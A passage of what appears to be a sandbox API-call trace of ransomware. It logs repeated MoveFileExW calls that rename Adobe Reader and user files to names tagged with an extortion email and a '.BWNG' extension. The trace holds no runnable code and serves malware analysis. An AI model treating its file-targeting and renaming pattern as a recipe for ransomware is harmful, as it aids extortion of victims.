(x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\SaveAsRTF.NOR" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\saveasrtf.nor"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nb_NO\\[billwong73@yahoo.com].HMo9LdjV-SVIpXJdr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nb_no\\[billwong73@yahoo.com].hmo9ldjv-svipxjdr.bwng"), dwFlags=0x1) returned 1 [0102.148] GetTickCount () returned 0x11613fe [0102.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24410066691) returned 1 [0102.149] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\AdobeCollabSync.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\adobecollabsync.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].RmzrqDqU-c1iR1EgG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].rmzrqdqu-c1ir1egg.bwng"), dwFlags=0x1) returned 1 [0102.150] GetTickCount () returned 0x116140e [0102.150] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24410214721) returned 1 [0102.150] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\JPN\\[billwong73@yahoo.com].GgzoNKdR-zgWZ9047.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\jpn\\[billwong73@yahoo.com].ggzonkdr-zgwz9047.bwng"), dwFlags=0x1) returned 1 [0102.152] GetTickCount () returned 0x116140e [0102.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24410380367) returned 1 [0102.152] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Multimedia.NLD" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\multimedia.nld"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\[billwong73@yahoo.com].i5911LlV-XUGOJjDn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\[billwong73@yahoo.com].i5911llv-xugojjdn.bwng"), dwFlags=0x1) returned 1 [0102.153] GetTickCount () returned 0x116140e [0102.153] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24410510012) returned 1 [0102.153] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\Services.asfx" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\services.asfx"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\nl_NL\\Services\\[billwong73@yahoo.com].s8JPndNO-VVdxaxnq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\nl_nl\\services\\[billwong73@yahoo.com].s8jpndno-vvdxaxnq.bwng"), dwFlags=0x1) returned 1 [0102.154] GetTickCount () returned 0x116140e [0102.154] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24410648611) returned 1 [0102.154] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\DigSig.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\digsig.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].oPP2tgKt-N0rhbbCt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].opp2tgkt-n0rhbbct.bwng"), dwFlags=0x1) returned 1 [0102.543] GetTickCount () returned 0x1161594 [0102.543] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24449486508) returned 1 [0102.543] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\ReadOutLoud.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\readoutloud.pol"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pl_PL\\[billwong73@yahoo.com].ZuGnPdrt-tIeSostC.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pl_pl\\[billwong73@yahoo.com].zugnpdrt-tiesostc.bwng"), dwFlags=0x1) returned 1 [0102.544] GetTickCount () returned 0x1161594 [0102.544] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24449648746) returned 1 [0102.545] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\accessibility.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\accessibility.ptb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\pt_BR\\[billwong73@yahoo.com].KMR4raKm-K004Atil.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\pt_br\\[billwong73@yahoo.com].kmr4rakm-k004atil.bwng"), dwFlags=0x1) returned 1 [0102.546] GetTickCount () returned 0x1161594 [0102.546] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24449819087) returned 1 [0102.546] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\NLD\\[billwong73@yahoo.com].4FdtEqru-d3cHxD4D.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\nld\\[billwong73@yahoo.com].4fdteqru-d3chxd4d.bwng"), dwFlags=0x1) returned 1 [0102.547] GetTickCount () returned 0x1161594 [0102.547] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24449959494) returned 1 [0102.548] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\PTB\\[billwong73@yahoo.com].NGKIfHlg-Lsz3WlGf.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ptb\\[billwong73@yahoo.com].ngkifhlg-lsz3wlgf.bwng"), dwFlags=0x1) returned 1 [0102.549] GetTickCount () returned 0x1161594 [0102.549] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450109882) returned 1 [0102.549] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\RUS\\[billwong73@yahoo.com].dXYQ4REP-rlwNVZVq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\rus\\[billwong73@yahoo.com].dxyq4rep-rlwnvzvq.bwng"), dwFlags=0x1) returned 1 [0102.550] GetTickCount () returned 0x1161594 [0102.550] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450266328) returned 1 [0102.551] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\StandardBusiness.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\standardbusiness.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SKY\\[billwong73@yahoo.com].cqQSIJKe-fcqUWcA9.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sky\\[billwong73@yahoo.com].cqqsijke-fcquwca9.bwng"), dwFlags=0x1) returned 1 [0102.552] GetTickCount () returned 0x1161594 [0102.552] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450412250) returned 1 [0102.552] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\Dynamic.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\dynamic.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\SVE\\[billwong73@yahoo.com].xbuBZoqM-Lxcza1rw.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\sve\\[billwong73@yahoo.com].xbubzoqm-lxcza1rw.bwng"), dwFlags=0x1) returned 1 [0102.553] GetTickCount () returned 0x1161594 [0102.553] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450564301) returned 1 [0102.554] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\Faces.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\faces.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\UKR\\[billwong73@yahoo.com].g26QZu2K-Ot8u2XQn.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\ukr\\[billwong73@yahoo.com].g26qzu2k-ot8u2xqn.bwng"), dwFlags=0x1) returned 1 [0102.555] GetTickCount () returned 0x11615a3 [0102.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450716309) returned 1 [0102.555] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\l8VJyemQf4ukRQ.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\l8vjyemqf4ukrq.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\[billwong73@yahoo.com].c1cBckxP-I6zXQLPE.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\[billwong73@yahoo.com].c1cbckxp-i6zxqlpe.bwng"), dwFlags=0x1) returned 1 [0102.557] GetTickCount () returned 0x11615a3 [0102.557] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24450883422) returned 1 [0102.557] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\SoftBlue.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\softblue.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].m5fkOpWo-8uXnnvF0.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].m5fkopwo-8uxnnvf0.bwng"), dwFlags=0x1) returned 1 [0102.558] GetTickCount () returned 0x11615a3 [0102.558] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451029836) returned 1 [0102.558] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\-ZCTDt.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\-zctdt.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\NQ9coU\\[billwong73@yahoo.com].ciODAuNg-At8nuXH5.BWNG" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\nq9cou\\[billwong73@yahoo.com].ciodaung-at8nuxh5.bwng"), dwFlags=0x1) returned 1 [0102.560] GetTickCount () returned 0x11615a3 [0102.560] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451185471) returned 1 [0102.560] MoveFileExW (lpExistingFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\Roses.jpg" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\roses.jpg"), lpNewFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\Stationery\\[billwong73@yahoo.com].VLK2R5yL-7HQy5W7A.BWNG" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\stationery\\[billwong73@yahoo.com].vlk2r5yl-7hqy5w7a.bwng"), dwFlags=0x1) returned 1 [0102.561] GetTickCount () returned 0x11615a3 [0102.561] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451328391) returned 1 [0102.561] MoveFileExW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Penguins.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\penguins.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\[billwong73@yahoo.com].SJZPN5FR-IXVWw6s9.BWNG" (normalized: "c:\\users\\public\\pictures\\sample pictures\\[billwong73@yahoo.com].sjzpn5fr-ixvww6s9.bwng"), dwFlags=0x1) returned 1 [0102.562] GetTickCount () returned 0x11615a3 [0102.562] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451461974) returned 1 [0102.563] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInAcrobat.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationinacrobat.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\[billwong73@yahoo.com].e2nPOsiB-ii3I59wc.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\[billwong73@yahoo.com].e2nposib-ii3i59wc.bwng"), dwFlags=0x1) returned 1 [0102.563] GetTickCount () returned 0x11615a3 [0102.564] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451575541) returned 1 [0102.564] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmej.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\[billwong73@yahoo.com].i42rnd8Z-dWHm6Bvr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\[billwong73@yahoo.com].i42rnd8z-dwhm6bvr.bwng"), dwFlags=0x1) returned 1 [0102.565] GetTickCount () returned 0x11615a3 [0102.565] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24451714499) returned 1 [0102.565] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].lYSIJ5Tp-6Gq01ooO.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].lysij5tp-6gq01ooo.bwng"), dwFlags=0x1) returned 1 [0102.699] GetTickCount () returned 0x1161630 [0102.699] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465112645) returned 1 [0102.699] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\CourierStd-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\courierstd-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].STJx7R4K-UbFMJk8T.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].stjx7r4k-ubfmjk8t.bwng"), dwFlags=0x1) returned 1 [0102.701] GetTickCount () returned 0x1161630 [0102.701] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465297792) returned 1 [0102.701] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MyriadPro-It.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\myriadpro-it.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].B5qr5NIQ-yIG36HoI.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].b5qr5niq-yig36hoi.bwng"), dwFlags=0x1) returned 1 [0102.702] GetTickCount () returned 0x1161630 [0102.702] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465429683) returned 1 [0102.702] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_BH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_bh.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Vo3bxRd9-0XIbLPMt.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].vo3bxrd9-0xiblpmt.bwng"), dwFlags=0x1) returned 1 [0102.703] GetTickCount () returned 0x1161630 [0102.703] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465571720) returned 1 [0102.704] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_OM.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_om.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Gk5VYFtD-j9B7KYAG.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].gk5vyftd-j9b7kyag.bwng"), dwFlags=0x1) returned 1 [0102.705] GetTickCount () returned 0x1161630 [0102.705] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465711706) returned 1 [0102.705] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeArabic-Bold.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobearabic-bold.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].7OzBX10D-N5hVBxJ2.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].7ozbx10d-n5hvbxj2.bwng"), dwFlags=0x1) returned 1 [0102.706] GetTickCount () returned 0x1161630 [0102.706] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465851987) returned 1 [0102.706] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ca_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ca_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].8Xlwd9RH-JmbERyig.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].8xlwd9rh-jmberyig.bwng"), dwFlags=0x1) returned 1 [0102.708] GetTickCount () returned 0x1161630 [0102.708] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24465989223) returned 1 [0102.708] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\AdobeThai-BoldItalic.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\adobethai-bolditalic.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].UKucVGiV-uegB79zj.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].ukucvgiv-uegb79zj.bwng"), dwFlags=0x1) returned 1 [0102.709] GetTickCount () returned 0x1161630 [0102.709] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24466112038) returned 1 [0102.709] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\MinionPro-Regular.otf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\minionpro-regular.otf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].YhRIwb74-58tCEPod.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].yhriwb74-58tcepod.bwng"), dwFlags=0x1) returned 1 [0102.814] GetTickCount () returned 0x116169d [0102.814] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24476670457) returned 1 [0102.815] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].Iva5Qhpo-z4r05obd.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].iva5qhpo-z4r05obd.bwng"), dwFlags=0x1) returned 1 [0102.816] GetTickCount () returned 0x116169d [0102.817] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24476875580) returned 1 [0102.817] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\ZY______.PFB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\zy______.pfb"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Font\\[billwong73@yahoo.com].9M2ZFoJ0-o1YBnduz.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\font\\[billwong73@yahoo.com].9m2zfoj0-o1ybnduz.bwng"), dwFlags=0x1) returned 1 [0102.818] GetTickCount () returned 0x116169d [0102.818] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24477186599) returned 1 [0102.820] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].SUdSOZ1F-vIvv6MCu.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].sudsoz1f-vivv6mcu.bwng"), dwFlags=0x1) returned 1 [0102.822] GetTickCount () returned 0x11616ad [0102.822] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24477378943) returned 1 [0102.822] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.ar_LB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.ar_lb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].okbqyEWb-6lr3x0Eq.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].okbqyewb-6lr3x0eq.bwng"), dwFlags=0x1) returned 1 [0102.823] GetTickCount () returned 0x11616ad [0102.823] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24477498802) returned 1 [0102.823] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].pZd8P9sw-wi8by3lr.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].pzd8p9sw-wi8by3lr.bwng"), dwFlags=0x1) returned 1 [0102.824] GetTickCount () returned 0x11616ad [0102.824] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: lpPerformanceCount=0x37cfe3c*=24477639741) returned 1 [0102.824] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\[billwong73@yahoo.com].VtSc3ZHu-VsqRHB4b.BWNG" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\[billwong73@yahoo.com].vtsc3zhu-vsqrhb4b.bwng"), dwFlags=0x1) returned 1 [0102.825] GetTickCount () returned 0x11616ad [0102.825] QueryPerformanceCounter (in: lpPerformanceCount=0x37cfe3c | out: 